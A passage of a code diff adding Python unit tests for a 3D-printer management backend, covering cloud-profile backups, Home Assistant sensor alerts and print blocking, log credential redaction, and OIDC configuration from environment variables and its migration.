+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(),
+        ):
+            await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        filament = files["cloud_profiles/bambu/global/filament.json"]["profiles"]
+        assert [p["setting_id"] for p in filament] == ["PFUS1"]
+
+    @pytest.mark.asyncio
+    async def test_stores_the_payload_a_restore_needs(self, service, db_session):
+        """The listing is metadata only. Without ``base_id`` and ``setting``
+        the backup is a list of names — ``create_setting`` cannot rebuild from
+        it."""
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(),
+        ):
+            await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        preset = files["cloud_profiles/bambu/global/filament.json"]["profiles"][0]
+        assert preset["base_id"] == "GFSA00"
+        assert preset["setting"] == {"filament_flow_ratio": ["0.98"]}
+        assert preset["type"] == "filament"
+
+    @pytest.mark.asyncio
+    async def test_account_identity_is_not_written_to_the_repo(self, service, db_session):
+        """Backup repositories can be public, and ``user_id`` adds nothing to a
+        rebuild."""
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(),
+        ):
+            await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        for payload in files.values():
+            for preset in payload["profiles"]:
+                assert "user_id" not in preset
+
+    @pytest.mark.asyncio
+    async def test_one_unreadable_preset_does_not_lose_the_others(self, service, db_session):
+        """And it is counted, not swallowed — a partial backup that looks
+        complete is how #2717 stayed invisible."""
+
+        def detail(setting_id):
+            if setting_id == "PFUS1":
+                raise RuntimeError("boom")
+            return _detail(setting_id, "ok", "GFSA00")
+
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=_bambu_cloud(detail_side_effect=detail),
+        ):
+            counts = await service._collect_bambu_profiles(db_session, files, "global", None)
+
+        assert "cloud_profiles/bambu/global/filament.json" not in files
+        assert counts["printer"] == 1
+        assert counts["process"] == 1
+        assert counts["failed"] == 1
+
+    @pytest.mark.asyncio
+    async def test_unauthenticated_account_writes_nothing(self, service, db_session):
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.cloud.build_authenticated_cloud",
+            new_callable=AsyncMock,
+            return_value=None,
+        ):
+            counts = await service._collect_bambu_profiles(db_session, files, "user-1", MagicMock())
+
+        assert counts == {}
+        assert files == {}
+
+
+class TestOrcaCollection:
+    @pytest.mark.asyncio
+    async def test_groups_by_content_type_including_aliases(self, service, db_session):
+        """Orca carries the type at ``content.type`` and uses BambuStudio-style
+        aliases — ``machine`` is a printer, ``process`` and ``print`` are both
+        process. Same map the Orca tab groups by."""
+        profiles = [
+            {"id": 1, "name": "f", "content": {"type": "filament"}},
+            {"id": 2, "name": "m", "content": {"type": "machine"}},
+            {"id": 3, "name": "p", "content": {"type": "print"}},
+            {"id": 4, "name": "p2", "content": {"type": "process"}},
+        ]
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.orca_cloud._build_authenticated_service",
+            new_callable=AsyncMock,
+            return_value=_orca_service(profiles),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "user-3", MagicMock())
+
+        assert counts == {"filament": 1, "printer": 1, "process": 2}
+        assert "cloud_profiles/orca/user-3/printer.json" in files
+
+    @pytest.mark.asyncio
+    async def test_content_is_stored_inline_without_a_second_fetch(self, service, db_session):
+        """The sync-pull listing already carries each profile's content, so
+        unlike Bambu there is no per-profile round trip."""
+        svc = _orca_service([{"id": 7, "name": "f", "content": {"type": "filament", "flow": 0.98}}])
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.orca_cloud._build_authenticated_service",
+            new_callable=AsyncMock,
+            return_value=svc,
+        ):
+            await service._collect_orca_profiles(db_session, files, "global", None)
+
+        stored = files["cloud_profiles/orca/global/filament.json"]["profiles"][0]
+        assert stored["content"] == {"type": "filament", "flow": 0.98}
+        assert svc.list_profiles.await_count == 1
+
+    @pytest.mark.asyncio
+    async def test_unmapped_types_are_kept_not_dropped(self, service, db_session):
+        """The Orca *route* drops profiles whose type it can't render, which is
+        right for a list and wrong for a backup: silently omitting a profile
+        because Orca added a type is the same class of bug as #2717."""
+        profiles = [
+            {"id": 1, "name": "f", "content": {"type": "filament"}},
+            {"id": 2, "name": "x", "content": {"type": "something_new"}},
+            {"id": 3, "name": "y", "content": {}},
+        ]
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.orca_cloud._build_authenticated_service",
+            new_callable=AsyncMock,
+            return_value=_orca_service(profiles),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "global", None)
+
+        assert counts["other"] == 2
+        assert len(files["cloud_profiles/orca/global/other.json"]["profiles"]) == 2
+
+    @pytest.mark.asyncio
+    async def test_dead_pairing_writes_nothing_and_does_not_raise(self, service, db_session):
+        """An unexpected failure building the Orca client must not abort the
+        rest of the backup — the other accounts and the other cloud still have
+        profiles worth collecting."""
+        files: dict = {}
+        with patch(
+            "backend.app.api.routes.orca_cloud._build_authenticated_service",
+            new_callable=AsyncMock,
+            side_effect=RuntimeError("session expired"),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "user-2", MagicMock())
+
+        assert counts == {}
+        assert files == {}
+
+    @pytest.mark.asyncio
+    async def test_the_backup_never_disconnects_an_account(self, service, db_session):
+        """A backup is an observer. It must not change anyone's sign-in state
+        on a schedule — least of all on Orca's composite rejection reason,
+        which cannot tell a real revocation from a lost refresh-rotation race.
+        The Profiles route clears the dead pairing instead, with the user
+        present to act on it.
+        """
+        from fastapi import HTTPException
+
+        build = AsyncMock(side_effect=HTTPException(status_code=401, detail="grant already used"))
+        files: dict = {}
+        with patch("backend.app.api.routes.orca_cloud._build_authenticated_service", build):
+            counts = await service._collect_orca_profiles(db_session, files, "global", None)
+
+        assert counts == {}
+        assert build.await_args.kwargs["clear_on_auth_failure"] is False
+
+    @pytest.mark.asyncio
+    async def test_a_rejected_session_says_it_will_keep_being_skipped(self, service, db_session, caplog):
+        """Not clearing means the warning recurs every run, so the one line the
+        operator sees has to say how to stop it."""
+        from fastapi import HTTPException
+
+        files: dict = {}
+        with (
+            caplog.at_level("WARNING"),
+            patch(
+                "backend.app.api.routes.orca_cloud._build_authenticated_service",
+                new_callable=AsyncMock,
+                side_effect=HTTPException(status_code=401, detail="refresh rejected: grant already used"),
+            ),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "global", None)
+
+        assert counts == {}
+        assert "paired again" in caplog.text
+        assert "Later runs will skip it too" in caplog.text
+
+    @pytest.mark.asyncio
+    async def test_an_unreachable_orca_is_a_transient_skip(self, service, db_session, caplog):
+        """502 is very likely gone by the next run, so it must not carry the
+        "go and re-pair" advice a rejected session does."""
+        from fastapi import HTTPException
+
+        files: dict = {}
+        with (
+            caplog.at_level("WARNING"),
+            patch(
+                "backend.app.api.routes.orca_cloud._build_authenticated_service",
+                new_callable=AsyncMock,
+                side_effect=HTTPException(status_code=502, detail="Orca Cloud unreachable: timeout"),
+            ),
+        ):
+            counts = await service._collect_orca_profiles(db_session, files, "user-9", None)
+
+        assert counts == {}
+        assert "unreachable" in caplog.text
+        assert "paired again" not in caplog.text
+
+
+class TestCollectorAndMetadata:
+    @pytest.mark.asyncio
+    async def test_no_connected_account_collects_nothing(self, service, db_session):
+        files: dict = {}
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=(None, None, "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+        ):
+            summary = await service._collect_cloud_profiles(db_session, files)
+
+        assert summary == {"bambu": {}, "orca": {}}
+        assert files == {}
+
+    @pytest.mark.asyncio
+    async def test_one_failing_account_does_not_stop_the_others(self, service, db_session):
+        a = User(username="a", cloud_token="t1")
+        b = User(username="b", cloud_token="t2")
+        db_session.add_all([a, b])
+        await db_session.commit()
+
+        def build(db, user=None):
+            if user is not None and user.username == "a":
+                raise RuntimeError("cloud down for this account")
+            return _bambu_cloud()
+
+        files: dict = {}
+        with (
+            patch(
+                "backend.app.api.routes.cloud.get_stored_token",
+                new_callable=AsyncMock,
+                return_value=(None, None, "global"),
+            ),
+            patch(
+                "backend.app.api.routes.orca_cloud._load_credentials",
+                new_callable=AsyncMock,
+                return_value=MagicMock(token=None),
+            ),
+            patch(
+                "backend.app.api.routes.cloud.build_authenticated_cloud",
+                new_callable=AsyncMock,
+                side_effect=build,
+            ),
+        ):
+            summary = await service._collect_cloud_profiles(db_session, files)
+
+        assert f"user-{a.id}" not in summary["bambu"]
+        assert summary["bambu"][f"user-{b.id}"] == {"filament": 1, "printer": 1, "process": 1}
+
+    @pytest.mark.asyncio
+    async def test_metadata_reports_collection_not_configuration(self, service, db_session):
+        """``contents.cloud_profiles`` said ``true`` on every backup, including
+        the ones that wrote nothing. A restore has to be able to trust it."""
+        config = MagicMock(
+            backup_kprofiles=False,
+            backup_cloud_profiles=True,
+            backup_settings=False,
+            backup_spools=False,
+            backup_archives=False,
+        )
+        with patch.object(
+            service, "_collect_cloud_profiles", new_callable=AsyncMock, return_value={"bambu": {}, "orca": {}}
+        ):
+            files = await service._collect_backup_data(db_session, config)
+
+        assert files["backup_metadata.json"]["contents"]["cloud_profiles"] is False
+        assert "cloud_profiles" not in files["backup_metadata.json"]
+
+    @pytest.mark.asyncio
+    async def test_metadata_records_per_account_counts_when_collected(self, service, db_session):
+        config = MagicMock(
+            backup_kprofiles=False,
+            backup_cloud_profiles=True,
+            backup_settings=False,
+            backup_spools=False,
+            backup_archives=False,
+        )
+        summary = {"bambu": {"user-3": {"filament": 2}}, "orca": {}}
+        with patch.object(service, "_collect_cloud_profiles", new_callable=AsyncMock, return_value=summary):
+            files = await service._collect_backup_data(db_session, config)
+
+        assert files["backup_metadata.json"]["contents"]["cloud_profiles"] is True
+        assert files["backup_metadata.json"]["cloud_profiles"] == summary
+
+
+class TestSettingsFallbackIsStillHonoured:
+    @pytest.mark.asyncio
+    async def test_global_orca_row_is_discovered(self, service, db_session):
+        """Orca's auth-disabled fallback lives in the same Settings table as
+        Bambu's; both stores are read on every run."""
+        db_session.add(Settings(key="orca_cloud_token", value="oc_ext_x"))
+        await db_session.commit()
+
+        with patch(
+            "backend.app.api.routes.cloud.get_stored_token",
+            new_callable=AsyncMock,
+            return_value=(None, None, "global"),
+        ):
+            _bambu, orca = await service.cloud_accounts(db_session)
+
+        assert orca == [("global", None)]

+ 281 - 0
backend/tests/unit/test_ha_sensor_manager_1148.py

@@ -0,0 +1,281 @@
+"""Unit tests for Home Assistant sensors bound to a printer (#1148, #448).
+
+The alert rules decide three separate things — the pill colour on the card, a
+notification, and whether the queue holds — so they are tested directly rather
+than through any one of those consumers.
+
+The recurring theme is that "we could not read it" must never be mistaken for
+a reading. A door contact whose integration has dropped out reports
+"unavailable", not "closed", and treating that as closed would let a print
+start into an open enclosure; treating it as *open* would strand the queue.
+Neither: it is not a reading at all.
+"""
+
+from types import SimpleNamespace
+from unittest.mock import AsyncMock, patch
+
+import pytest
+
+from backend.app.services.ha_sensor_manager import (
+    HASensorManager,
+    SensorReading,
+    describe_state,
+    evaluate,
+)
+
+
+def _sensor(**overrides):
+    """A sensor row as the poller sees it, without touching the DB."""
+    base = {
+        "id": 1,
+        "printer_id": 4,
+        "name": "Enclosure Door",
+        "entity_id": "binary_sensor.enclosure_door",
+        "kind": "binary",
+        "device_class": "door",
+        "unit": None,
+        "alert_state": "on",
+        "alert_above": None,
+        "alert_below": None,
+        "block_print": False,
+        "notify_on_alert": False,
+        "last_state": None,
+    }
+    base.update(overrides)
+    return SimpleNamespace(**base)
+
+
+def _numeric(**overrides):
+    base = {
+        "entity_id": "sensor.enclosure_temp",
+        "kind": "numeric",
+        "device_class": "temperature",
+        "unit": "\u00b0C",
+        "alert_state": None,
+        "name": "Enclosure Temp",
+    }
+    base.update(overrides)
+    return _sensor(**base)
+
+
+class TestEvaluateBinary:
+    def test_alerts_in_the_configured_state(self):
+        reading = evaluate(_sensor(), {"state": "on"})
+
+        assert reading == SensorReading(state="on", value=None, alerting=True, reachable=True)
+
+    def test_quiet_in_the_other_state(self):
+        assert evaluate(_sensor(), {"state": "off"}).alerting is False
+
+    def test_alert_state_off_inverts_the_rule(self):
+        """A "fan running" contact alarms when it stops, not when it starts."""
+        sensor = _sensor(alert_state="off", name="Exhaust Fan")
+
+        assert evaluate(sensor, {"state": "off"}).alerting is True
+        assert evaluate(sensor, {"state": "on"}).alerting is False
+
+    def test_no_alert_state_never_alerts(self):
+        """Display-only sensors are the default — they just show a state."""
+        sensor = _sensor(alert_state=None)
+
+        assert evaluate(sensor, {"state": "on"}).alerting is False
+        assert evaluate(sensor, {"state": "on"}).reachable is True
+
+    def test_state_is_normalised_to_lower_case(self):
+        """Some integrations report "ON"; the alert rule stores "on"."""
+        assert evaluate(_sensor(), {"state": "ON"}).state == "on"
+        assert evaluate(_sensor(), {"state": "ON"}).alerting is True
+
+
+class TestEvaluateNumeric:
+    def test_above_threshold_alerts(self):
+        assert evaluate(_numeric(alert_above=35), {"state": "41.2"}).alerting is True
+
+    def test_below_threshold_alerts(self):
+        assert evaluate(_numeric(alert_below=15), {"state": "12"}).alerting is True
+
+    def test_inside_the_band_is_quiet(self):
+        reading = evaluate(_numeric(alert_above=35, alert_below=15), {"state": "22.5"})
+
+        assert reading.alerting is False
+        assert reading.value == 22.5
+
+    def test_exactly_on_the_threshold_is_not_an_alert(self):
+        """Strict comparison, so a 35 °C limit does not alarm at exactly 35."""
+        assert evaluate(_numeric(alert_above=35), {"state": "35"}).alerting is False
+
+    def test_a_sensor_that_stops_reporting_numbers_does_not_alert(self):
+        """Reachable, but no value to compare — so no verdict either way."""
+        reading = evaluate(_numeric(alert_above=35), {"state": "calibrating"})
+
+        assert reading.reachable is True
+        assert reading.value is None
+        assert reading.alerting is False
+
+
+class TestUnreadable:
+    @pytest.mark.parametrize("state", ["unavailable", "unknown", None])
+    def test_ha_non_states_are_not_readings(self, state):
+        reading = evaluate(_sensor(), {"state": state})
+
+        assert reading.reachable is False
+        assert reading.alerting is False
+        assert reading.state is None
+
+    def test_a_failed_fetch_is_not_a_reading(self):
+        """fetch_states maps an entity it could not read to None."""
+        reading = evaluate(_sensor(), None)
+
+        assert reading == SensorReading(state=None, value=None, alerting=False, reachable=False)
+
+
+class TestDescribeState:
+    def test_binary_uses_the_raw_state(self):
+        assert describe_state(_sensor(), evaluate(_sensor(), {"state": "on"})) == "on"
+
+    def test_numeric_carries_its_unit(self):
+        sensor = _numeric()
+
+        assert describe_state(sensor, evaluate(sensor, {"state": "41.20"})) == "41.2 °C"
+
+    def test_numeric_without_a_unit_is_bare(self):
+        sensor = _numeric(unit=None)
+
+        assert describe_state(sensor, evaluate(sensor, {"state": "7"})) == "7"
+
+
+class TestBlockedPrinters:
+    """The interlock only ever reports a positive, current finding."""
+
+    def _manager_with(self, sensors, readings):
+        manager = HASensorManager()
+        manager._readings = readings
+        db = AsyncMock()
+        db.execute.return_value = SimpleNamespace(scalars=lambda: SimpleNamespace(all=lambda: sensors))
+        return manager, db
+
+    @pytest.mark.asyncio
+    async def test_reports_an_alerting_blocking_sensor(self):
+        sensor = _sensor(block_print=True)
+        manager, db = self._manager_with([sensor], {1: SensorReading("on", None, True, True)})
+
+        assert await manager.blocked_printers(db) == {4: "Enclosure Door"}
+
+    @pytest.mark.asyncio
+    async def test_silent_when_not_alerting(self):
+        sensor = _sensor(block_print=True)
+        manager, db = self._manager_with([sensor], {1: SensorReading("off", None, False, True)})
+
+        assert await manager.blocked_printers(db) == {}
+
+    @pytest.mark.asyncio
+    async def test_silent_when_home_assistant_is_unreachable(self):
+        """The queue must keep running when HA is down, not seize up."""
+        sensor = _sensor(block_print=True)
+        manager, db = self._manager_with([sensor], {1: SensorReading(None, None, False, False)})
+
+        assert await manager.blocked_printers(db) == {}
+
+    @pytest.mark.asyncio
+    async def test_silent_before_the_first_poll(self):
+        """A cold cache is not evidence the door is open."""
+        sensor = _sensor(block_print=True)
+        manager, db = self._manager_with([sensor], {})
+
+        assert await manager.blocked_printers(db) == {}
+
+    @pytest.mark.asyncio
+    async def test_names_every_blocking_sensor_on_a_printer(self):
+        sensors = [
+            _sensor(id=1, block_print=True, name="Front Door"),
+            _sensor(id=2, block_print=True, name="Side Panel"),
+        ]
+        manager, db = self._manager_with(
+            sensors,
+            {
+                1: SensorReading("on", None, True, True),
+                2: SensorReading("on", None, True, True),
+            },
+        )
+
+        assert await manager.blocked_printers(db) == {4: "Front Door, Side Panel"}
+
+
+class TestNotificationEdge:
+    """Alerts fire on the transition into the alert state, not while it lasts."""
+
+    async def _apply(self, manager, sensor, states, notify):
+        db = AsyncMock()
+        db.get.return_value = SimpleNamespace(name="X1C-1")
+        with patch("backend.app.services.notification_service.notification_service", notify):
+            await manager._apply(db, [sensor], states)
+
+    @pytest.mark.asyncio
+    async def test_fires_once_on_the_way_in(self):
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=True)
+        notify = AsyncMock()
+
+        # First poll seeds the cache; a door already open at startup has not
+        # just been opened.
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "off"}}, notify)
+        assert notify.on_ha_sensor_alert.await_count == 0
+
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+        assert notify.on_ha_sensor_alert.await_count == 1
+
+        # Still open on the next pass — no second alert.
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+        assert notify.on_ha_sensor_alert.await_count == 1
+
+    @pytest.mark.asyncio
+    async def test_silent_on_the_first_poll_after_a_restart(self):
+        """Cold cache. Re-announcing every pre-existing alert on every restart
+        is how users learn to ignore the alert."""
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=True)
+        notify = AsyncMock()
+
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+
+        assert notify.on_ha_sensor_alert.await_count == 0
+        assert manager.get_reading(sensor.id).alerting is True
+
+    @pytest.mark.asyncio
+    async def test_silent_when_the_sensor_opts_out(self):
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=False)
+        notify = AsyncMock()
+
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "off"}}, notify)
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+
+        assert notify.on_ha_sensor_alert.await_count == 0
+
+    @pytest.mark.asyncio
+    async def test_re_arms_after_the_alert_clears(self):
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=True)
+        notify = AsyncMock()
+
+        for state in ("off", "on", "off", "on"):
+            await self._apply(manager, sensor, {sensor.entity_id: {"state": state}}, notify)
+
+        assert notify.on_ha_sensor_alert.await_count == 2
+
+    @pytest.mark.asyncio
+    async def test_a_dropout_does_not_count_as_the_alert_clearing(self):
+        """on -> unavailable -> on is one continuous alert, not two.
+
+        Without this, a flaky Zigbee contact would notify on every reconnect.
+        """
+        manager = HASensorManager()
+        sensor = _sensor(notify_on_alert=True)
+        notify = AsyncMock()
+
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "off"}}, notify)
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+        await self._apply(manager, sensor, {sensor.entity_id: None}, notify)
+        await self._apply(manager, sensor, {sensor.entity_id: {"state": "on"}}, notify)
+
+        assert notify.on_ha_sensor_alert.await_count == 1

+ 38 - 0
backend/tests/unit/test_log_credential_redaction.py

@@ -10,6 +10,7 @@ into the log.
 """
 
 import asyncio
+import time
 
 from backend.app.api.routes.camera import _read_ffmpeg_stderr, _summarize_ffmpeg_stderr
 from backend.app.core.logging_filters import redact_url_credentials
@@ -71,6 +72,43 @@ class TestRedactUrlCredentials:
         assert redact_url_credentials("") == ""
         assert redact_url_credentials(None) is None
 
+    def test_a_long_scheme_like_run_does_not_blow_up(self):
+        """The scheme repetition is capped so the match stays linear.
+
+        Unbounded, the engine restarted at every offset of a run of
+        scheme-legal characters and consumed to the end each time before
+        failing to find ``://`` — quadratic in the length of the line, and
+        ffmpeg echoes the operator's camera URL into the subject. An absolute
+        timing bound would be flaky, so this pins the growth rate instead:
+        doubling the input must not quadruple the work. Measured against the
+        unbounded pattern, these two inputs took 550ms and 2187ms (ratio 3.97,
+        so the assertion fails); bounded, 2.8ms and 5.4ms (ratio 1.98).
+        """
+        small = "A" * 32_000 + "://@"
+        large = "A" * 64_000 + "://@"
+
+        start = time.perf_counter()
+        assert redact_url_credentials(small) == small
+        small_elapsed = time.perf_counter() - start
+
+        start = time.perf_counter()
+        assert redact_url_credentials(large) == large
+        large_elapsed = time.perf_counter() - start
+
+        # Linear would be ~2x. Allow generous slack for a loaded CI box while
+        # still failing the ~4x of a quadratic match.
+        assert large_elapsed < max(small_elapsed * 3, 0.5)
+
+    def test_a_scheme_longer_than_the_cap_still_gets_its_secret_masked(self):
+        """The cap bounds backtracking; it must not create a redaction hole.
+
+        A pseudo-scheme longer than the cap simply matches from a later
+        offset, so the password is still replaced.
+        """
+        result = redact_url_credentials("Z" * 100 + "://user:hunter2@host/path")
+        assert "hunter2" not in result
+        assert result.endswith("://user:[REDACTED]@host/path")
+
 
 class TestFfmpegStderrFunnel:
     """`_summarize_ffmpeg_stderr` is the one funnel every stderr log in the

+ 126 - 0
backend/tests/unit/test_oidc_env_managed_migration.py

@@ -0,0 +1,126 @@
+"""The is_env_managed column has to reach databases that already exist (#2593).
+
+The model test covers a table freshly created from metadata, which is not how
+an upgrade arrives: an installed instance has an oidc_providers table without
+the column, and only run_migrations adds it there. Every boot re-runs the whole
+migration set, so adding it twice must be a no-op rather than an error.
+"""
+
+from __future__ import annotations
+
+import pytest
+from sqlalchemy import text
+from sqlalchemy.ext.asyncio import create_async_engine
+
+from backend.app.core.database import Base, run_migrations
+
+
+def _register_all_models():
+    from backend.app.models import (  # noqa: F401
+        ams_history,
+        ams_label,
+        api_key,
+        archive,
+        color_catalog,
+        external_link,
+        filament,
+        group,
+        kprofile_note,
+        library,
+        maintenance,
+        notification,
+        notification_template,
+        print_log,
+        print_queue,
+        printer,
+        project,
+        project_bom,
+        settings,
+        slot_preset,
+        smart_plug,
+        smart_plug_energy_snapshot,
+        spool,
+        spool_assignment,
+        spool_catalog,
+        spool_k_profile,
+        spool_usage_history,
+        spoolbuddy_device,
+        user,
+        user_email_pref,
+        virtual_printer,
+    )
+
+
+@pytest.fixture(autouse=True)
+def force_sqlite_dialect(monkeypatch):
+    """Force the SQLite branch regardless of test env settings."""
+    from backend.app.core import database as database_module, db_dialect
+
+    monkeypatch.setattr(db_dialect, "is_sqlite", lambda: True)
+    monkeypatch.setattr(db_dialect, "is_postgres", lambda: False)
+    monkeypatch.setattr(database_module, "is_sqlite", lambda: True)
+
+
+@pytest.fixture
+async def engine():
+    """A database as it stands before this change: every table created from the
+    models, then the new column dropped again -- the model already declares it,
+    so only removing it reproduces what an installed instance actually has."""
+    _register_all_models()
+
+    eng = create_async_engine("sqlite+aiosqlite:///:memory:", echo=False)
+    async with eng.begin() as conn:
+        await conn.run_sync(Base.metadata.create_all)
+        await conn.execute(text("ALTER TABLE oidc_providers DROP COLUMN is_env_managed"))
+    yield eng
+    await eng.dispose()
+
+
+async def _columns(conn) -> set[str]:
+    rows = await conn.execute(text("PRAGMA table_info(oidc_providers)"))
+    return {r[1] for r in rows}
+
+
+@pytest.mark.asyncio
+async def test_migration_adds_the_column_to_an_existing_table(engine):
+    async with engine.connect() as conn:
+        assert "is_env_managed" not in await _columns(conn)
+
+    async with engine.begin() as conn:
+        await run_migrations(conn)
+
+    async with engine.connect() as conn:
+        assert "is_env_managed" in await _columns(conn)
+
+
+@pytest.mark.asyncio
+async def test_existing_rows_default_to_not_env_managed(engine):
+    """A provider created through the UI before the upgrade must not come back
+    locked -- is_env_managed decides whether the API refuses to edit it."""
+    async with engine.begin() as conn:
+        await conn.execute(
+            text(
+                "INSERT INTO oidc_providers"
+                " (id, name, issuer_url, client_id, client_secret, scopes, is_enabled,"
+                "  auto_create_users, auto_link_existing_accounts, email_claim,"
+                "  require_email_verified)"
+                " VALUES (1, 'UI provider', 'https://sso.example', 'app', 'enc',"
+                "  'openid email profile', 1, 0, 0, 'email', 1)"
+            )
+        )
+        await run_migrations(conn)
+
+    async with engine.connect() as conn:
+        row = await conn.execute(text("SELECT is_env_managed FROM oidc_providers WHERE id = 1"))
+        assert not row.scalar()
+
+
+@pytest.mark.asyncio
+async def test_it_is_idempotent(engine):
+    """Every boot re-runs the migration set."""
+    for _ in range(2):
+        async with engine.begin() as conn:
+            await run_migrations(conn)
+
+    async with engine.connect() as conn:
+        assert "is_env_managed" in await _columns(conn)

+ 12 - 0
backend/tests/unit/test_oidc_env_provider.py

@@ -0,0 +1,12 @@
+import pytest
+
+from backend.app.models.oidc_provider import OIDCProvider
+
+
+@pytest.mark.asyncio
+async def test_is_env_managed_defaults_false(db_session):
+    p = OIDCProvider(name="x", issuer_url="https://i", client_id="c", client_secret="s")
+    db_session.add(p)
+    await db_session.commit()
+    await db_session.refresh(p)
+    assert p.is_env_managed is False

+ 248 - 0
backend/tests/unit/test_oidc_env_reader.py

@@ -0,0 +1,248 @@
+"""BAMBUDDY_OIDC_* reader (#2593).
+
+The reader is deliberately dumb: it maps env vars to field names and applies
+defaults. Whether the resulting provider is *valid* is decided later, by the
+same OIDCProviderCreate schema the API uses, so env config cannot bypass a
+check the UI enforces.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from backend.app.core.oidc_env import EnvOIDCConfigError, env_bool, read_env_oidc_config
+
+REQUIRED = {
+    "BAMBUDDY_OIDC_NAME": "Keycloak",
+    "BAMBUDDY_OIDC_ISSUER_URL": "https://sso.example.com/realms/main",
+    "BAMBUDDY_OIDC_CLIENT_ID": "bambuddy",
+    "BAMBUDDY_OIDC_CLIENT_SECRET": "s3cr3t",
+}
+
+OPTIONAL = (
+    "BAMBUDDY_OIDC_SCOPES",
+    "BAMBUDDY_OIDC_ENABLED",
+    "BAMBUDDY_OIDC_AUTO_CREATE_USERS",
+    "BAMBUDDY_OIDC_AUTO_LINK_EXISTING",
+    "BAMBUDDY_OIDC_EMAIL_CLAIM",
+    "BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED",
+    "BAMBUDDY_OIDC_ICON_URL",
+    "BAMBUDDY_OIDC_AUTOLOGIN",
+    "BAMBUDDY_OIDC_DEFAULT_GROUP",
+)
+
+
+@pytest.fixture(autouse=True)
+def clean_env(monkeypatch):
+    for key in (*REQUIRED, *OPTIONAL):
+        monkeypatch.delenv(key, raising=False)
+
+
+def _set_required(monkeypatch):
+    for key, value in REQUIRED.items():
+        monkeypatch.setenv(key, value)
+
+
+def test_returns_none_when_nothing_is_configured():
+    assert read_env_oidc_config() is None
+
+
+@pytest.mark.parametrize("missing", sorted(REQUIRED))
+def test_returns_none_when_any_single_required_var_is_missing(monkeypatch, missing):
+    """All four or nothing -- a half-configured provider must not reach the
+    database, where it would fail at authorize time instead of at startup."""
+    _set_required(monkeypatch)
+    monkeypatch.delenv(missing)
+    assert read_env_oidc_config() is None
+
+
+@pytest.mark.parametrize("raw", ["", "   ", "\n", " \t\n "])
+@pytest.mark.parametrize("key", sorted(REQUIRED))
+def test_an_empty_required_var_counts_as_unset(monkeypatch, key, raw):
+    """`BAMBUDDY_OIDC_CLIENT_SECRET=` in a compose file is a forgotten value,
+    not an intentional empty secret -- and neither is one holding only
+    whitespace, which the optional vars have always treated as unset."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv(key, raw)
+    assert read_env_oidc_config() is None
+
+
+@pytest.mark.parametrize("key", sorted(REQUIRED))
+def test_a_required_var_is_stripped(monkeypatch, key):
+    """A Kubernetes Secret written as a block scalar carries a trailing
+    newline, and the schema bounds these four by max_length only -- so an
+    unstripped issuer_url reaches the database, enables the SSO button and
+    then raises httpx.InvalidURL on the first click, long after startup could
+    have refused it."""
+    _set_required(monkeypatch)
+    monkeypatch.setenv(key, f"  {REQUIRED[key]}\n")
+
+    cfg = read_env_oidc_config()
+    field = {
+        "BAMBUDDY_OIDC_NAME": "name",
+        "BAMBUDDY_OIDC_ISSUER_URL": "issuer_url",
+        "BAMBUDDY_OIDC_CLIENT_ID": "client_id",
+        "BAMBUDDY_OIDC_CLIENT_SECRET": "client_secret",
+    }[key]
+    assert cfg[field] == REQUIRED[key]
+
+
+def test_reads_the_required_vars(monkeypatch):
+    _set_required(monkeypatch)
+    cfg = read_env_oidc_config()
+    assert cfg["name"] == "Keycloak"
+    assert cfg["issuer_url"] == "https://sso.example.com/realms/main"
+    assert cfg["client_id"] == "bambuddy"
+    assert cfg["client_secret"] == "s3cr3t"
+
+
+def test_applies_the_documented_defaults(monkeypatch):
+    _set_required(monkeypatch)
+    cfg = read_env_oidc_config()
+    assert cfg["scopes"] == "openid email profile"
+    assert cfg["is_enabled"] is True
+    assert cfg["auto_create_users"] is False
+    assert cfg["auto_link_existing_accounts"] is False
+    assert cfg["email_claim"] == "email"
+    assert cfg["require_email_verified"] is True
+    assert cfg["icon_url"] is None
+    assert cfg["is_autologin"] is False
+
+
+@pytest.mark.parametrize("raw", ["true", "TRUE", "True", "1", "yes", "YES", " yes "])
+def test_booleans_accept_the_project_truthy_spellings(monkeypatch, raw):
+    _set_required(monkeypatch)
+    monkeypatch.setenv("BAMBUDDY_OIDC_AUTO_CREATE_USERS", raw)
+    assert read_env_oidc_config()["auto_create_users"] is True
+
+
+@pytest.mark.parametrize("raw", ["false", "FALSE", "False", "0", "no", "NO"])
